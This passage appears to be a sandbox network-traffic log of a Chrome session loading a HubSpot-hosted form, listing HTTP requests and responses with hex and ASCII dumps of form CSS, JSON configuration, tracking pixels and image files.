2025-01-10 11:04:36 UTC	1369	IN	Data Raw: 64 22 3a 74 72 75 65 2c 22 65 6d 62 65 64 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 7d 2c 22 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 6b 6e 6f 77 6e 53 6d 61 72 74 46 69 65 6c 64 73 22 3a 5b 5d 2c 22 67 61 74 65 73 22 3a 7b 7d 2c 22 73 63 6f 70 65 73 22 3a 7b 22 6e 6f 42 72 61 6e 64 69 6e 67 22 3a 74 72 75 65 2c 22 72 65 6e 64 65 72 53 68 65 6c 6c 22 3a 74 72 75 65 2c 22 72 61 77 48 74 6d 6c 41 63 63 65 73 73 22 3a 66 61 6c 73 65 2c 22 63 75 73 74 6f 6d 53 74 79 6c 65 41 63 63 65 73 73 22 3a 74 72 75 65 7d 2c 22 74 69 6d 65 22 3a 31 37 33 36 35 30 37 30 37 36 30 36 38 2c 22 74 68 65 6d 65 43 73 73 22 3a 22 2e 68 73 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 Data Ascii: d":true,"embedVersion":null},"properties":{},"knownSmartFields":[],"gates":{},"scopes":{"noBranding":true,"renderShell":true,"rawHtmlAccess":false,"customStyleAccess":true},"time":1736507076068,"themeCss":".hs-button{font-family:\"Helvetica Neue\",Helveti
2025-01-10 11:04:36 UTC	1369	IN	Data Raw: 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 5c 22 5c 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 77 72 61 70 70 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 68 73 2d 76 69 64 65 6f 2d 66 6f 72 6d 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 6f 76 65 72 6c 61 79 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 30 3b 62 6f 74 74 6f 6d 3a Data Ascii: !important}.hs-video-form .legal-consent-container:after{content:\"\";display:block;height:100px;width:100%}.hs-video-form .legal-consent-wrapper{position:relative}.hs-video-form .legal-consent-overlay{position:absolute;pointer-events:none;left:0;bottom:
2025-01-10 11:04:36 UTC	1369	IN	Data Raw: 61 72 65 61 2e 68 73 2d 69 6e 70 75 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 73 65 6c 65 63 74 5b 6d 75 6c 74 69 70 6c 65 5d 2e 68 73 2d 69 6e 70 75 74 7b 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 69 6e 70 75 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 69 6e 70 75 74 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 74 65 78 74 61 72 65 61 2c 64 69 76 2e 66 69 65 6c 64 2e 65 72 72 6f 72 20 2e 63 68 7a 6e 2d 63 68 6f 69 63 65 73 2c 74 65 78 74 61 72 65 61 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 2c 73 65 6c 65 63 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 38 37 38 37 32 7d 69 6e 70 75 74 2e 68 73 2d 69 6e 70 75 74 2e 65 72 72 6f 72 3a 66 6f Data Ascii: area.hs-input{height:auto}select[multiple].hs-input{height:inherit}input.hs-input.error,div.field.error input,div.field.error textarea,div.field.error .chzn-choices,textarea.hs-input.error,select.hs-input.error{border-color:#c87872}input.hs-input.error:fo
2025-01-10 11:04:36 UTC	1369	IN	Data Raw: 72 6d 2d 72 74 6c 20 2e 68 73 2d 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 6d 61 72 67 69 6e 3a 33 70 78 20 35 70 78 20 33 70 78 20 35 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 66 69 65 6c 64 73 65 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 66 69 65 6c 64 73 65 74 5b 63 6c 61 73 73 5e 3d 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 5d 20 2e 69 6e 70 75 74 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 75 6c 7b 70 61 64 64 69 6e 67 3a 30 70 78 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 6c 65 67 61 6c 2d 63 6f 6e 73 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 73 2d 66 6f 72 6d 2d 62 6f 6f 6c 65 61 6e 63 68 Data Ascii: rm-rtl .hs-input[type=radio]{margin:3px 5px 3px 5px}form.hs-form-rtl fieldset{display:flex}form.hs-form-rtl fieldset[class^=form-columns-] .input{margin-right:0px}form.hs-form-rtl ul{padding:0px}form.hs-form-rtl .legal-consent-container .hs-form-booleanch
2025-01-10 11:04:36 UTC	973	IN	Data Raw: 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 2c 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 33 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 33 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e Data Ascii: put[type=radio],.email-correction form .form-columns-3 .hs-form-field input[type=checkbox],.email-correction form .form-columns-3 .hs-form-field input[type=radio],.email-validation form .form-columns-2 .hs-form-field input[type=checkbox],.email-validation
2025-01-10 11:04:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49886	104.16.109.254	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	403	OUT	GET /collected-forms/v1/config/json?portalId=48528028&utk= HTTP/1.1 Host: forms.hscollectedforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:36 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: application/json;charset=utf-8 Content-Length: 135 Connection: close vary: Accept-Encoding Cache-Control: max-age=0 x-content-type-options: nosniff x-robots-tag: none access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: * access-control-max-age: 180 x-envoy-upstream-service-time: 9 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 408f8e21-808b-4d4a-913d-76132a6cf82f x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-qg7nx x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 408f8e21-808b-4d4a-913d-76132a6cf82f CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=OYOa7vgCMBWbfdAvGSE8cSepLDEaXy4aJKKJrGgYzkg-1736507076-1.0.1.1-UCU61m5yzvFcavyxOW4lqp7CsiphdLGHekrzZdqCwprdZNfSy8Xrg3PqMxWmgS.6z4.l.jqDQyh_ybV8YtwV.w; path=/; expires=Fri, 10-Jan-25 11:34:36 GMT; domain=.hscollectedforms.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8ffc2feaf9fb43ed-EWR
2025-01-10 11:04:36 UTC	135	IN	Data Raw: 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 35 32 38 30 32 38 2c 22 73 75 62 6d 69 73 73 69 6f 6e 73 41 70 69 44 6f 6d 61 69 6e 22 3a 22 66 6f 72 6d 73 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 22 2c 22 72 65 70 6f 72 74 53 63 72 61 70 65 72 54 65 73 74 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 43 61 70 74 75 72 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 6f 6b 65 6e 22 3a 31 38 33 30 34 32 34 34 35 30 7d Data Ascii: {"portalId":48528028,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":1830424450}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49887	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	846	OUT	GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:36 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: a75a3ae5-e012-4548-86c0-224a8f655562 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-6w44x x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: a75a3ae5-e012-4548-86c0-224a8f655562 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2febffcbc335-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:36 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49888	104.17.173.91	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	569	OUT	GET /StyleGuideUI/static-3.415/img/sprocket/favicon-32x32.png HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=klVYd7VD0Hw6pCD5qdFtANmhuBsOAbKRDNOfR6WQ1cE-1736507074-1.0.1.1-Y5ojX9ZZfgfpXDZKrxxj7ayW6yM81OV6V3i48r_JO6_X0F7Y1lAYtL1LyxtggV6YRymcpmgKUHq9kBXeXucBZA
2025-01-10 11:04:36 UTC	1273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/png Content-Length: 706 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=1386 etag: "b29cd4fae32431fd350ffa1394aa4ee6" last-modified: Wed, 08 Jan 2025 13:58:08 GMT via: 1.1 05133180bbd1649d4b8f97441bf305e8.cloudfront.net (CloudFront) x-amz-cf-id: wZ1OF3Z7vKI-MbJcseIoncKgIHC5aAgK7pbMBdk98Cgz0RRQb3Xs-w== x-amz-cf-pop: IAD12-P3 x-amz-replication-status: COMPLETED x-amz-server-side-encryption: AES256 x-amz-version-id: D0Ve9nsNHNzIgQgLVX.hBJ.SPXx6ig2J x-cache: Miss from cloudfront CF-Cache-Status: HIT Age: 40797 Expires: Sat, 10 Jan 2026 11:04:36 GMT Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OgrZ7xuw3R9M6zsNCddf%2BvB7P5HYDxANut0HYMGOxPkkaizYJqufzJI8zX4m%2Frxx8%2Fu6B1Guj5y9TYjCkZY%2FkEc0xvvmQ3vShzDmKgjmeOOEk5fWOyhNWIjHtK0Us7GvpBx9hShEg1o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload vary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-Method Server: cloudflare CF-RAY: 8ffc2fec4f860f89-EWR
2025-01-10 11:04:36 UTC	96	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 02 Data Ascii: PNGIHDR szzgAMAa cHRMz&u0`:pQ<
2025-01-10 11:04:36 UTC	610	IN	Data Raw: 4d 49 44 41 54 78 da dd d7 3b 68 53 51 1c c7 f1 c4 34 6d 24 a9 35 4a a4 bd 10 a1 e2 63 09 82 50 c5 88 d0 29 83 a0 82 8f c1 d0 c1 0a 56 27 41 c8 64 71 10 07 29 8a 48 27 a7 56 0a a5 43 83 f8 a8 e2 0b 1d 34 22 0e 56 ef 94 74 a8 38 28 4a d5 52 8a 12 cd a3 7f bf c3 19 0e 97 26 37 57 0f b6 f4 c2 87 0c f7 ff cf f9 25 e7 e4 9f c4 b7 ec 2e e9 4f fb 11 80 7f 29 16 df 88 0b 18 c3 00 b6 fd e5 0b 08 21 e8 b5 31 8a 3b 10 cd 73 58 1e 9e a3 15 19 3c 41 16 29 f8 1b 6d 3e 8c 5f 10 4d 05 69 0f 01 ce a2 0c 51 a6 91 68 b4 f9 38 aa 10 87 4c 83 fd cd b8 0b d1 2c a0 b7 d1 00 9d b0 21 0e 53 38 84 80 4b ff 2a dc 80 68 8a 38 e8 e5 1c 74 e3 11 a6 f1 12 ef 21 98 45 3f 5a 5d fa 93 c8 6b db 37 82 36 af 87 31 82 38 d6 a0 0b cf b0 80 12 46 d1 e9 d2 7f 52 db ff 4d 26 3e 9a 16 ae a3 08 c1 Data Ascii: MIDATx;hSQ4m$5JcP)V'Adq)H'VC4"Vt8(JR&7W%.O)!1;sX<A)m>_MiQh8L,!S8K*h8t!E?Z]k7618FRM&>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49889	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	1004	OUT	GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074865&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=y7v5tlcteE91C7jGUYr2vGlDJ.u1tOvi0CXPTTF9N6I-1736507075-1.0.1.1-7..Q0ZSFebTGLJpsL9ixj7a5Oh8DyqpD6RcCvuDalD3guxScz6JpOhNDeu6Obdv_OZMHDqsh8QGlp_1WH4yJPg; _cfuvid=IYQZw4cmVpHExqbAXxp4hwZBo8NzlV46lxbZRgb1WHc-1736507075925-0.0.1.1-604800000
2025-01-10 11:04:36 UTC	1206	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc2fec68a9727b-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-nc9kd x-evy-trace-virtual-host: all x-hubspot-correlation-id: b470add2-bb5f-4196-ad0a-b17183635c3e x-request-id: b470add2-bb5f-4196-ad0a-b17183635c3e x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7OKAYEhZ6JlVoMp7IljOcxQCLGZtjwKFO2NeqTxV%2BdupGeNUuWHvL%2BUQI329I9JlxMgBd%2BaKvHlikFSfig%2BVZmMkk0HZ%2FW4aVvS2U7%2FenNyOWXr5ay5lsFNp88zjDEULscuz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-10 11:04:36 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49890	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	1091	OUT	GET /__ptq.gif?k=15&fi=88ff8659-0bef-4f40-af53-74c32a82fa4b&fci=e9a82a43-503a-42c6-b7ff-a7bf73266280&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074992&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=b5HdAN3ek_YmYyEE2gTewoXnOSPuJcvMoCz8j9jY4yw-1736507076-1.0.1.1-A1R9RNy0h05Hz28Ld.vWJJN99W0A2rWrHWchgC86l0AoPlghgfCTUdFOSnMxDP4Y_9xMmrc_mydmLLb_a9kGDA; _cfuvid=7uaCUys7QaNFFoDqB1p76RFXxW1y6pRM2dersaHfEC0-1736507076028-0.0.1.1-604800000
2025-01-10 11:04:36 UTC	1196	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc2fecd93c4223-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 9 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-cvxr8 x-evy-trace-virtual-host: all x-hubspot-correlation-id: c8a9ed50-bbb0-4c4b-8d11-a56f0d3c41e4 x-request-id: c8a9ed50-bbb0-4c4b-8d11-a56f0d3c41e4 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=96O0ViWeugOLrhvt3Nmllq9JZhax2j5EZKyo1rAcFUpdSjRJ5kvbyQ3O8Lx8DPCf5R9foAR9ADIn4ZxmTi%2FOF1o6ISuxehm3tUFBM9jZSojYTzgT53lwipyKhAkd1Ifi1yGo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-10 11:04:36 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49892	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	849	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:36 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: b3136c5e-8b44-47b8-90e1-edc4d4bad4c0 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-8z78f x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: b3136c5e-8b44-47b8-90e1-edc4d4bad4c0 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2fecdccc43da-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:36 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49893	104.18.41.124	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:36 UTC	586	OUT	GET /hubfs/48528028/dicna7me-Jan-09-2025-05-47-09-4108-PM.png HTTP/1.1 Host: 48528028.fs1.hubspotusercontent-na1.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=TI9ulSemoQH6kIVXm_Tygg0DdvP1cldOoxAgZJAZCqo-1736507076-1.0.1.1-PW8UZWniTihWFPAm.ajLW_njjqnRskTmjuqeLLbniabKcvJb31gVZnao0ODwcmts_.B985KiMQoBgOUlRM.abA
2025-01-10 11:04:36 UTC	1338	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:36 GMT Content-Type: image/png Content-Length: 1682 Connection: close CF-Ray: 8ffc2fecfe6042c3-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 51832 Cache-Control: s-maxage=2592000, max-age=1209600, stale-while-revalidate=900 ETag: "5f32f9c1dd8812a72c333c2f1ddb6bea" Last-Modified: Thu, 09 Jan 2025 17:47:10 GMT Vary: Accept Via: 1.1 78a5d96d9c348edf8a3fca2ba77f8e64.cloudfront.net (CloudFront) Access-Control-Allow-Methods: GET cache-tag: F-184710121503,P-48528028,FLS-ALL Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=1966 Edge-Cache-Tag: F-184710121503,P-48528028,FLS-ALL Timing-Allow-Origin: 48528028.fs1.hubspotusercontent-na1.net X-Amz-Cf-Id: 215EDu7c_hkwzzxzfkn1ykQckFS3Gibt4XLGeq1WfhBhgaBnOPqAxw== X-Amz-Cf-Pop: JFK52-P1 x-amz-id-2: DRYPSXROXlSyFq2/NZ5DZYk1Tqs8qG7L60cTtNyungGT3BrDWMS/137trCHJicLrFMnQl2gStBakHkh4EzsPKgPAEkGVI2aRZ4WUpVhzHyA= x-amz-meta-access-tag: public-not-indexable x-amz-meta-cache-tag: F-184710121503,P-48528028,FLS-ALL x-amz-meta-created-unix-time-millis: 1736444829410 x-amz-meta-index-tag: none x-amz-replication-status: COMPLETED x-amz-request-id: YJ1A9WXQPF4C9BEY x-amz-server-side-encryption: AES256 x-amz-storage-class: INTELLIGENT_TIERING x-amz-version-id: uNYYRAsfm24SxJkzbpmwMLz9Y8_zAQx0
